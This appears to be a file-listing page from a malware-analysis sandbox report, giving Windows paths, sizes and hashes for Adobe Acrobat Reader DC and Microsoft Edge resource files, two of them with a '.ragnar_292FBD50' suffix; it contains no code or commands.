Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\bun.png
Size 3KB
SHA256 e8f3f227aeced8b9d70ce3575a7b4f3503d21955730f51d07a5f0a68f52be7e1
MD5 78f057495f48b1dfa69725bcbcebb42c
SHA1 255735862a3a6503116d55d073af6d2cf3eb3703
SHA512 e2ee196da0dd394b7dd9c4a72d87ec2c31b23120aef20481b46381b766c69c7ab250a980cfd001904975fe78ae54835125a6f3c90c2a121b0a6eefb6a0d12b37
MD5 SHA1 SHA512

Submit Download

cstm_brand_preview.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\cstm_brand_preview.png
Size 2KB
SHA256 176d319860f10dd3721c1d494161c90d8615cbcee5d53bff52bf32e6d0450c29
MD5 237b45861ed2ae646b7614d2a0c5a6e9
SHA1 0a1fa81ee44fb38595ee08bccacc90fa0ffbe80e
SHA512 b0ee89768b72b010d3e505563087c58d28ea2c24fef77ab0488c8773d169bcc1922f1aec86a2a96b170198c5a64ec4be1984099084ee55b471b5017cacdcbecd
MD5 SHA1 SHA512

Submit Download

cstm_brand_preview2x.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\cstm_brand_preview2x.png
Size 5KB
SHA256 a5609dac4f15ae67ff6c7ebb43c2c849cb2008719ae346e4d44cfc789815af11
MD5 68581a20b0222a7d4051fcef2380d61a
SHA1 dabc173a1dff7a4502ad89be421556b92fafa657
SHA512 101e2dfd0ee07540be4a05fa7a0a7aa534ad5a37c1c028087f7aa8a9deb2a66fb759b045dcc25005d4846621321fb9c4f704fe9ea383bd4d333d995e851d00a3
SSDEEP 96:1qRHY8uFfnx8SVs+h0B9/tQYp9Lbx5pYhHsVDPwOkCfH/Mvj9F2N9+F8g:8qpbVHhq9/eYpDohkD4/CvEvZYN9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

dd_arrow_small.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\dd_arrow_small.png
Size 810B
SHA256 b784999fa7d0aab511536f44425097035416193023e7651620c6062e227f3711
MD5 5bb68905bc852ecfa15a4a1142e2496f
SHA1 7a687f74cffc80d764b3e451579ab61607f485bc
SHA512 4a7dad8869ea1ff5eb72f455f80b5a6ba194ffce7e081a7bb1bf856e46a80f67e3603389efec8d8aa32b62c25342f17fc01729af2768b77c8a5bd9c1209084f0
MD5 SHA1 SHA512

Submit Download

dd_arrow_small2x.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\dd_arrow_small2x.png
Size 906B
SHA256 f720664dd1896128093b28b6364cfb272bd182fef03b7be4c92ee0bf85f84936
MD5 e9f1941330ec63951c9b415db7d859e7
SHA1 4b61ad70e39a87bfa19615ee0a99ca582e882251
SHA512 f5763446f04ea7b1ed7eae31f759f29f5c48dd34e94a9826399feed85d3c5ba9ad66846a0d33b01b141b30617a2052e68aaad81af6449ae338eb2cc7fcad8907
MD5 SHA1 SHA512

Submit Download

illustrations.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\illustrations.png
Size 4KB
SHA256 1e6f2ce62e31887a3d64850fdd1b39e524d153af87376eca11e3b9dc455e7d42
MD5 70053e0ba0e828b54dd7cf4e78c6238f
SHA1 16c1d560941c323a840c3cdef8ac83b9d88c5b05
SHA512 cc61153265f96cf1bbdca612d10a5766d24af75000665fc0b0ac403e2cb35508e809b53430281614ab8d989fa4ba34ac7501b05c7d982b31d61d5ccaf1d02b31
SSDEEP 96:stmDDVWdJjGfahkf4Rki/ZtsrBCjFnlerzyZFV4ntwdJt0zX9+F8g:n9WiKUez4KyyZFV4ntMJuzX9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

nub.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\nub.png
Size 1KB
SHA256 8bebc814db4dbbcf24775f092ba3c58e833fee9d4a000d4c27017513b2b21e92
MD5 4c35de7ac058e4706d0d870dd349c533
SHA1 6833f4231b15de758e6a6795fa1c1a9b74fb7a5e
SHA512 84960352f4fea7e799a7825575b051e284e76fff51ffbb2b91a093a3c6b32b33c68167a0c60b82376144e751e1d00f3f4a4703f805e7db9311e3009014435213
MD5 SHA1 SHA512

Submit Download

s_filter_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_filter_18.svg
Size 1KB
SHA256 bb1edc57e03752444926cb9e3c5828aedfe1f87a93410efadb08260ecfa39d4d
MD5 c9e13d2aeb2e43ba08b3e9d8f6e2258f
SHA1 88fa2ee3a7f4ed5ea9a18c7bc74e94b76e14d74e
SHA512 7612e588070c72e2d6e97be1288e3c3cd079bc79177eb32d4b91a54f0eea426d1867afdae4e9da889fe4f16bf5e67942d626e14389dec6c18c6d70593f18a3a2
MD5 SHA1 SHA512

Submit Download

s_listview_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_listview_18.svg
Size 2KB
SHA256 eab9175e8bc58a14c5a7a1881fb3ce87697215d43ee767ca07e07ae25ae2e3b6
MD5 343640688811002234483e602c400bd9
SHA1 a43ba7741c57d4b008483f252f075ad8e577c9bc
SHA512 f9ef5a59575049e1e8d48b562f13dac57db8f7aea4d7d945e304ace818023f8b590026e48344930ac34948ed7b8e7f6c9a49a87747ac3e104ad2328ce93fa79b
MD5 SHA1 SHA512

Submit Download

s_opencarat_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_opencarat_18.svg
Size 1KB
SHA256 ba9c30fb56ca2e8ea731b2f1bf6b3527874a8ae052f0e0b43fad2bf353aea1eb
MD5 fa9181b580240f9c48077fd5270b0b6a
SHA1 bdd4c70f62878b161fd5fad65ef1a3d1ed7a246f
SHA512 9b3002d5c0802fc7a3bc1b6df9e5ded9868a52dd7ef5eb5befae39b8ec414d67a758439d1eed6adeba5127fb9a42345372e76feaab7121d9da268c1420cfd572
MD5 SHA1 SHA512

Submit Download

s_thumbnailview_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_thumbnailview_18.svg
Size 1KB
SHA256 e818619e886eef130958498a4c6496648658ceee93bef5893f36213367eb8f69
MD5 7ad80abdb733010150226bc8b9ca42d6
SHA1 2591e209c7ab4147d39874fcd5c31bfd236b0827
SHA512 a467fb51d3385f2af89f4cffcf157eecfa432574709996de1e5d2a5e45dfe8beff4afd4cacb61816ec2082bdb7dd9cd98acc3bca056702ae40df2ffc5c34fbe2
MD5 SHA1 SHA512

Submit Download

share_icons.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\share_icons.png
Size 1KB
SHA256 7e3c999c1df9a78fdf0502934072f21b96c6e5955156053f42e94693d9f3a9b2
MD5 d57c51c78186ddd88ee15adafaec322c
SHA1 43d42d24dfc4b9e26de9a29e37d2cab196af30ae
SHA512 0ea77322e1cacfcdb6ec6972ba69f2ee1bdf76a3a833b4a9c63afbc038896c11f5c73d52d0fd67b9e91f31eec32fb42dbf357f3e1f44591de8a9f8449ad48b93
MD5 SHA1 SHA512

Submit Download

share_icons2x.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\share_icons2x.png
Size 3KB
SHA256 5b483ae26b0cadf798a288f19942e17142ed819b8578e4ba4fe0a31accc76149
MD5 12aa7497dcbb5096a31530b5e4938b11
SHA1 57512be7626696cc9d63be49c2262e4103d188dd
SHA512 77ca9cae209104afdb40ee2976f77b5c2f7ca3e379e9b5471ad74c03c99261e7850f0816efb02b5567be592d40be9fcbd84d1112b6b23683e9157dbaaa108265
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\root\ui-strings.js
Size 14KB
SHA256 248906a58e2678bafee932eea1cbdffac618db26328ee98578e3db87a052c0e1
MD5 739aff6735e1a75e52b8453e1bfe321d
SHA1 49bdaee3fb4e11f22d449f2c3a826d63563051ee
SHA512 8434737748ea22eba0ff1423145210bd12cbd4e5cfacbdf570bc586390392721bc213db6e57ffe7ad75330efaab4fa2d4c20f8594440d45fd6ea59df05f16802
SSDEEP 384:kKMMuRpRPxNlYq/UO3mmYqENr1KOnEaGidoDuQhwOQ9c:kK8PxHUJCKkUODuQ/Qm
MD5 SHA1 SHA512 SSDEEP

Submit Download

adobe_spinner.gif

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adobe_spinner.gif
Size 1KB
SHA256 3c03445025dcf0b62c735ffdee6f6194e19b9d314d39b4af1359afbbcf357a53
MD5 92521da154cb5c59405b71efd1ad9ceb
SHA1 2f7a8b42fa27c1925948436430596a12210f75a0
SHA512 f950d018710233b5e140e3dee22e809dcbc029b34bc8221bca5a53c92ce30231a7e28dd95308987621a39c6a4071887f381a46b874bbb1ea1a1870e91a4a1921
MD5 SHA1 SHA512

Submit Download

adc_logo.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\adc_logo.png
Size 4KB
SHA256 b5cfc8c1bdbc4457b30b72d5a2d18176e1a09a08a74495de14b749bcd97b6cf4
MD5 b204433098b72a3432fb168d9194705a
SHA1 1735fc50d227fec81a80e1aec06f8fcef334c778
SHA512 649cef9ac6daf560efdbebfac49950c776d1de23aa9975f2562a4e41b3bb68e1755264c3da4188624f4159a164d3bbdbf5a71556c0a4b4c06e7350bc7aa6ebb7
SSDEEP 96:nYfrOSv64sVMw3t1LEUxTMvbgiHWr+DavgVA0kJ49+F8g:nCLvhsaO1LEMiEQuvgNJ9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

logo_retina.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\logo_retina.png
Size 7KB
SHA256 db4ebbe0107b2216f203607e3cc4f5ec63be7000759fed83e63f371da1d9d0fa
MD5 71ba787fc9d670198810d96333a25348
SHA1 98885569c8b4612921f8b6f0ac3c00ae4994f0f4
SHA512 f3706704473df7c620d34152a3c970e5a79c783bd72fc47ea933eb27601206797ec35b8c1f4be64ae53e2bcd04aa7668bb7ee199aff1fd418d496150c5364b7e
SSDEEP 192:grHjH2VMHW9zIMoNg65fzLdljJc8Kjhu9gk+UaBO9y8g:gj6CW9oxfzLdljJc/c9gYas9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

sat_logo.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo.png
Size 1KB
SHA256 6741a839e313746f352d6c96fb820bb663c7d234b879f8630f73a7b6b7e8f031
MD5 74c16318da2e14c5c1ef75dbf762fbd6
SHA1 8890b79815e3cefe69b6b7ea32ef9739f57ed052
SHA512 4a22e151d097e829e1505368d5cad274ab76b878af894f1e27608fcb4978449956971faa9a7e6e5c030098ad04325a1933158838a0e8a32490cf30c47dada330
MD5 SHA1 SHA512

Submit Download

sat_logo_2x.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo_2x.png
Size 2KB
SHA256 51c689572bc0a3b2c399fbf2445c395ffc8122aee671a3184dbd22f3589834da
MD5 68bd11dad7d0e99f0ffd24fbaa882d70
SHA1 2f5b3885afc69fd01230d200ef3df65bd48d60c5
SHA512 f356cc3c51565e4aa5bee83e0071e8f3b247f7f823487fd38279385c6c04beed866cfffcec8e0bc439015514122d002ca58e72f65e03422d3057cd19f3cd226b
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-gb\ui-strings.js
Size 10KB
SHA256 d84ab978a08832c809b6d17d2ae02e1109ed789373b9c740cd733f0838b10380
MD5 605936eeac9534b02524cdafdb9f05dd
SHA1 5ce8306764c65f08abaab7279b340b1a9e9f4ab9
SHA512 5c9a9da08955e13c851674f54cbe4f0140caf211eccc875d93deba0e338de0a7a1c99c2a53f90a799bd0ddefd087c0568f364d2ddfd65b9381b9fea7b98aacbd
SSDEEP 192:YViUYbm4mZqzDUpmm8cc1VDrVMZ1Vp38qaLG8X6n2ivVNv5b8a5P98sX4C9y8g:kCbm4jzDY5ol8p38qaaPvj8sX4C9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\root\ui-strings.js
Size 14KB
SHA256 b1273799db5670ac02176153307ae76ce7000072f673ae5f01006c7535622f22
MD5 24decffc9b416a389978e518970cbfdc
SHA1 e38783f08f50f79c8340ad2ea2397d19bbca01d4
SHA512 8e67f0e03239e9e0398ca9b7d8d3fccf2863c70c3712cb32b1064b546fd3fe2cb196a52875f119dc23212cad7d4724ea51d978921f57d34d0610a76ab74fdbef
SSDEEP 384:kOnndXuHs0/sWhqQmus2LEogRUBDRGKOEqyolXGor69c:kqd+HsSsnQDs2LMuRGKOEk3r6m
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\es-es\ui-strings.js
Size 1KB
SHA256 dcd0637396e6555ab4dedcd63bdc5106212fa1fccbc34d0f4344eb9edf74e6bd
MD5 526eba492a23eadba5ce77678a6629ff
SHA1 3a1901d95b5aeb88610fa8c608c836d0c97b90b2
SHA512 36bc05f30d6f9f3bd3297da56dbeb11d7d5d7c6eff1653e35201b51b6e9312775603db0d6a80b7e1abacdfd6e3cd67013948ff5b5d17156aedc88bd9c3d47fcc
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\root\ui-strings.js
Size 18KB
SHA256 83ca2516d5a36bfecb720dff4ba75637696a1c0f050b7dc0dcf8530c3072aa0e
MD5 f6af156c89e9f5d533e7d0191e313e39
SHA1 fc15626bb9e7c32cb7baeeeecc1f15c98a720216
SHA512 9092aba626e03e2684f963e2235602038a605ee4e1d67bf2368b6f4e90a1c77cd56e91289af04dd4ae48b9f77ed2f5b13c109322f69ce85e68d3462a86c76081
SSDEEP 384:I+Ov+Fs24J0WrTp5d4CQiK5Y1Eyy8jra5ZaoHkCApx31I9c:I+OaL4JhrF4hRpcrKaomTlIm
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ui-strings.js
Size 1KB
SHA256 ff420cab4abb4f7c2dd5d81874e3dd60ae0355377001a84551bf53c534f955ca
MD5 37b4c31507b0b86ff8e6753dd0c38cd3
SHA1 99429ebfbf2e3e35d2c502e20e83384a6dd9fae3
SHA512 0bf53283c33ef36078d057cfa82289db314603d874945493f3a5e51aa73e8bf7d1972c89e41716770e00524cd94b44e7c2eaac6125e27f8617e585c11f663745
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\he-il\ui-strings.js
Size 1KB
SHA256 d84c9490048d0f7e12b2eb07642b7de7e746adac30abd480be98e93691d6a1f0
MD5 8c0d0914afd76f9e14781cf80e7dd5bc
SHA1 68bc0d9874a482c65ad816e40ee697be9ae1bea2
SHA512 1c3df5960f0b4f9e9328a9d4f563a7f92f936fa50c1063d7ca7548924e2b0b2945bbffe39f084f7ef09fbe47b0e79a57bd4607252f272a8450c90b6455121654
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\root\ui-strings.js
Size 2KB
SHA256 84f87400635f0a038a800c81c1208947613ec280daa181c1c189edc9be9abb0e
MD5 8e189aa4ad187bdceb5ddabaef5bec8f
SHA1 81a8d05c487c21e84ab4d67150bdffba7f573c4f
SHA512 ed454209f59f665fe233f2031520f8a960f2c6c9f6ee313dd99495afcacbe7cb4116c023694cb95e9e58a738beb2403e355f48fab012a6c9aab03311f67ba45b
MD5 SHA1 SHA512

Submit Download

DisplayLanguageNames.en_GB_EURO.txt

Path C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt
Size 33KB
SHA256 47b213f3c463bfcc9d490fe8f7748e4d3a9d5dfc03f2749a57d1bc4fe4cc5aff
MD5 a334f6da4e888c7657e20004fc00cd15
SHA1 e7a1655c2091561c2b411ec64bc2db5a5094ec5f
SHA512 67ce582a6f501f00b99119e96e855ffa7a29fd5e1d97b86c4a640fad3e57359c6f357d32e3359631fcd796f48477f380952db58186139436246f640e377f8611
SSDEEP 768:dYaCwLhjvE8rY7AESl9yJYRA2ixdjVNGG14MetCzH9inIXg85m:dfjjM6YkEgrXixRVNJ+CzdinIXgom
MD5 SHA1 SHA512 SSDEEP

Submit Download

ad-selection-attestations.dat

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\AdSelectionAttestationsPreloaded\ad-selection-attestations.dat
Size 584B
SHA256 3dfdd768beaca66e1c0031324cc69576d6ae425a5588f93f3819a23bc03f6893
MD5 bcc72a631ecd47d1adc0b040cfba09fb
SHA1 34b0ac4cc364c91b4b4675c9d26ef75dbaa442c1
SHA512 38a426ffa4e9e1a0dc1b4c0d8285105f168163d1d34b73b31f7d275585e5188bff6e3606825b26c925bb90eed446876a09771ba9c006547edf059cd52a6224df
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\AdSelectionAttestationsPreloaded\manifest.json
Size 649B
SHA256 5fa707a5d88862c69096df85b50246f78720454df0cd9b37cd688e580310c203
MD5 bab10aae804f723bed39773eb119a813
SHA1 d9f349b32ad2d731c452ba40cdc9ac2cac3ef5be
SHA512 25c127dc5490b3114037e0137dbe8f3403f05bcb685d776537d486e219df239dc137263823beafaefe1124abcbba2df741b0eb7003ca7406f341ce98cf5e1766
MD5 SHA1 SHA512

Submit Download

Edge.dat

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Edge.dat
Size 12KB
SHA256 5a8fd621e268a0f7794168bdb7d01eee825a4ce62658bbe65ecc21ee017ca5c2
MD5 c80417ec6772f54c1ea6b70727a77500
SHA1 3b6e5e627e3ce46d057f695c826ce8f49d4c83cd
SHA512 b5fd4b80348f9c2f30de3e9eb3ca73b748637856a3490b1560951633be142eb5a51eed9be9fa8cb9756e8c475fb21d9b81016d4c6c3fa470152f913901b3d024
SSDEEP 192:0of8dGPittZh8gBoXlsqt2TOikaJ1NwzROscrZ08iGcE0qor9ylahckreBb8+yHm:0OwyoA2TLtvrscrK0rwr9ylMhqRd09c
MD5 SHA1 SHA512 SSDEEP

Submit Download

EdgeWebView.dat

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\EdgeWebView.dat
Size 8KB
SHA256 669346d0b23b856d8c003a6ff6d20beb0c85dc62e6593a26e205ecddb3557171
MD5 71fba19fa53a92cc53b17c6caef546cc
SHA1 f02664969894143d7de5fe30829d04445efd684a
SHA512 3f4421428245e7468cc8333dc927d14880e2d5e5ce036978b0968145656890179308202eae66ed93a53a5c3e6aadbfc8dc1838abff0255966ddd344554d59e52
SSDEEP 192:NCHS8dGPittZh8gBoXlsqt2dRoFnv4sN0ZlAPnTeIUUga9y8g:NCywyoA2dRYngsN6aPn5UU59c
MD5 SHA1 SHA512 SSDEEP

Submit Download

external_extensions.json

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Extensions\external_extensions.json
Size 620B
SHA256 7aace687f37b2fd70c808d4c66527ece705249bc95046d591679ee11e16c1352
MD5 071ce7fc7c4b85f6d843a2e82e71ad8b
SHA1 f93663458cdf5579ddbf0c15d87ccdb6e328edec
SHA512 3e30b7e104ba62bb551394c5f7427bd26f6e10295873aa981dd363ad80a6b87b209cfe9e648d82c01f02fc46394ce53b89ee337eb48009a351c58a99f7583edd
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\MEIPreload\manifest.json
Size 759B
SHA256 d55b02c1099283dfde19b79e5b1f8df12e8569031631458e783cc4c4f74de261
MD5 622a73952f9bcb2648c15970a63dcdc1
SHA1 77c2655f6e2390f478841f564c147bc460889788
SHA512 4d719fe6e3816f9e3ec3c10ee3a4ae4f98fa49ec90ba05bbdf371a1cc32fe34c9044f4c5dfab5b9bfbfd77ce4cec4cd4e09d82a1081a738627c277b875413a6a
MD5 SHA1 SHA512

Submit Download

preloaded_data.pb

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\MEIPreload\preloaded_data.pb
Size 8KB
SHA256 fe7d90b95a2a7db47004abecc99b31fbaa9d4d97e5e03a4d6b7d41a7bedd74ed
MD5 2e1f16e4bf2e80219d39a638dbe03f1d
SHA1 73b10b3a09e24bc270370c6b62b289359f107351
SHA512 df0f52fab5aa989053cfe06cd47fbde203f907c33a429bd821137ddcfb288e4ffc6ea915b1b27fea2f41edca9d0e7f1c489e7fc7c31ee2951025ca67a4ff731c
SSDEEP 192:8XIfzQc6K5/VswD3PrcEKVTyyQ+y5jA5uYDLr4qw3ajBAELvYc2+Hn90xALke9yv:Xcc6KJWwDD0BbQ+2quy/4qw3aNecLdIj
MD5 SHA1 SHA512 SSDEEP

Submit Download

Advertising

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\Advertising
Size 25KB
SHA256 682de5939389adc28a660615c20c154cbd7a09e695035b94d291ba5cd977c2cc
MD5 1c84be364ee8656757bb202c3f5bf3bd
SHA1 921ac615af2f806b7c765ac630a5f1a911529d4a
SHA512 ea77dc7bdc932b5acf3eab55b2f03d2e9795e077e4e497bc8565a8ad04eeffcee97df3a47ea1acff83339b62ccee4ff030139cc600c4b3f404a2cc2cd97b6a62
SSDEEP 384:aQtWiZ2Lro3wo+qh9J5DEgtYczrW7QmdvuydFjhasonQvP4lFZSSDslFsRNNlFb2:3ciAYA8h9JrSx4lvSSYlFWNX38Ym
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analytics

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\Analytics
Size 5KB
SHA256 4eba123c3f5db124208e35bb280162f7726ec4b9809c9d8ce7925d69c8d1f2b5
MD5 6441908b54575e0f359af796975b6f5c
SHA1 b1ce470c46b6f25249422c68c8ccde202b883bf4
SHA512 52f7809526d80e8db9c37368ae7fe96e548cd3fb7459a390fd18a5e1a5bc9e27bf6f1f97333d56b84ec43dd36e4c75c76b25d980510af1e95205c84c0a9f62ec
SSDEEP 96:mE/Ak1fldzNeOiElSOOfOSJKL0BdISF8eYeyxj3849+F8g:mEh1bYRElJgOSjYeQr99y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

CompatExceptions

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\CompatExceptions
Size 1KB
SHA256 511d3096b945b017147b4c7cbd98ed6d9a21a8267644e1abe768fa823ea2ce67
MD5 3d892b0a2915e0adf6da33abb1b366d8
SHA1 8e96f875aa24ae4c58dbb06239fbb84f8e43f632
SHA512 89bfbefd3d12a2d3d104e9f1a909f41a680fb018ac953a53e446dfc6bdf89b5721e407fe6f21c03880111e00643bb07057f7ce6eb8bd550ae4d15a6649d0baf0
MD5 SHA1 SHA512

Submit Download

Content

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\Content
Size 7KB
SHA256 4420ec846330b2f1e60f63bc33aeec86348044447559a82c53d4abb6f9cc3564
MD5 3297a35be2aba56df98907ae782e0a52
SHA1 eec4398303725eeac23536db209029f1267df666
SHA512 3f40049fa14a6f6d75206f3df78a7c32885b02e162a565e0f9fc4d6ac40ba3f8b43982fe6a7f121aed274c8412fc73ead389a558c5baf88fa89642f37b79c19c
SSDEEP 192:VuU1uEeCRBG3cUQXgrLCKSh67mD/5gt3QuzOdQsZe9y8g:VNuirYcUQXISh67kRozOdQx9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cryptomining.ragnar_292FBD50

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\Cryptomining.ragnar_292FBD50
Size 1KB
SHA256 00a69fbb15f806eed99abc007315e07ae619b261766c415853b11aebfe6ed1c9
MD5 fee53ee60bc75bc5d85e101d27c53bb0
SHA1 796423fedfbafb8ad066b12e01c2f35250d56996
SHA512 e1249e25415e8a6dd7814c107faae6b93d59920e77d420635bf8290bf4612f83e0f36123de887d48b384f663c5fc16b725525cdab8745a1eae13f29d178414ee
MD5 SHA1 SHA512

Submit Download

Entities.ragnar_292FBD50

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\Entities.ragnar_292FBD50
Size 69KB
SHA256 17a5c3516f14a9c9d8531e280dd333babce8f4cfdc806ddff56e69d18ef32936
MD5 6fa893ce9c18027107d863ac83ac377f
SHA1 71c120e132c1f9e59516a15ae90f7541ee16e7e3
SHA512 56b9ca4596b9d30d5e0d3201fb74225498989ac5b80f3de67301b77a157c13acd7b5324d44a78415e9c5e3959b3f775289fda8668e5c23f9e0bf2fc872749fd3
SSDEEP 1536:AHNlYxsi0jS2Js8TXvlG904iI62FAKmFB9P+onKPiqw5m:AH7iwSiPLvc9NKIQv+5P5gm
MD5 SHA1 SHA512 SSDEEP

Submit Download

Fingerprinting

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\Fingerprinting
Size 2KB
SHA256 0ed08a327b671b8575aa3302b2fdff60d55f203b53118c08e19a8d75c11517ef
MD5 e9398ae3de1188ef8184570e15f74aa3
SHA1 67e0fee42490d65a94e012fd5d47fd2a40249092
SHA512 898027fb8b246018c32a956e01d380394291b9649b42143c3d36e0a8b0d4b24040c24508ceaaae6fd66fe66477a574e6676e9a8cd2daf09a7ad05908f6be271f
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\LICENSE
Size 34KB
SHA256 595ef6c05347915e7a5acaba5eb2fe9ef6c75c22e46cf6298ea6cbfa66690c63
MD5 ebcbb1b686ec5c3af020a34281bdf7ea
SHA1 489bb8d86b794887039da0272c1030399b91f77f
SHA512 dde4540ce1e5a56c4bfef7a1a93d17ffe8e8bd0bc311bc404d4ab7902d0b2c88a4381ce59980f4340b71743ba0abb5b705adce3966f2b61b60c5d1307c1aa061
SSDEEP 768:PJJiEWSs1vt8H8Knd+B29409Gy2HVXb2+msgvdKFX90HiYvm:hJh81V8cSdd9oyoL2fvdKT09m
MD5 SHA1 SHA512 SSDEEP

Submit Download

Other

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\Other
Size 555B
SHA256 5181f1518c22ef69d652130df02f4291afe6e72bfd3e7ee33cb32df50682fe4b
MD5 fad14ee42381b0da1f0126955f485156
SHA1 f585910b8e2b1800e0cc59a21aee6a599b77e645
SHA512 49f5e8530f8a8c0b6772652f7c1b28fa5b85c34583c08f8af1f338d8f4a343a19087a46d8ec728f45854bc9927a436ad2f3c5c37f203eef26771dc74badbb9d8
MD5 SHA1 SHA512

Submit Download

Social

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\Social
Size 876B
SHA256 0a2fa0c4a429a65102359c2c67138b6fd1a6243065a0d71d8d246de26c0545ab
MD5 cc268650da7b6d13a568b8f64845831c
SHA1 d01fc3fa52d2c3caf0f0cbc7e76fd62ad30268c9
SHA512 33885452c3b5ffdf11284a9ab5ca7f9b1a8d496b51669dd0afbbe62541eb9b75cb60a19a617b500b3335e3ba3c1f12b234ed41673cfe4d36f0fac2da2bee91a5
MD5 SHA1 SHA512

Submit Download

TransparentAdvertisers

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\TransparentAdvertisers
Size 626B
SHA256 12082cdc5149296c155731b17b7efad2b821900e97ea3682ced5f6b3eab69d92
MD5 8663fadc12dde3eaf55df87ffd37eebe
SHA1 fe2a0f475f0424c3723406c0d9c26486c531934f
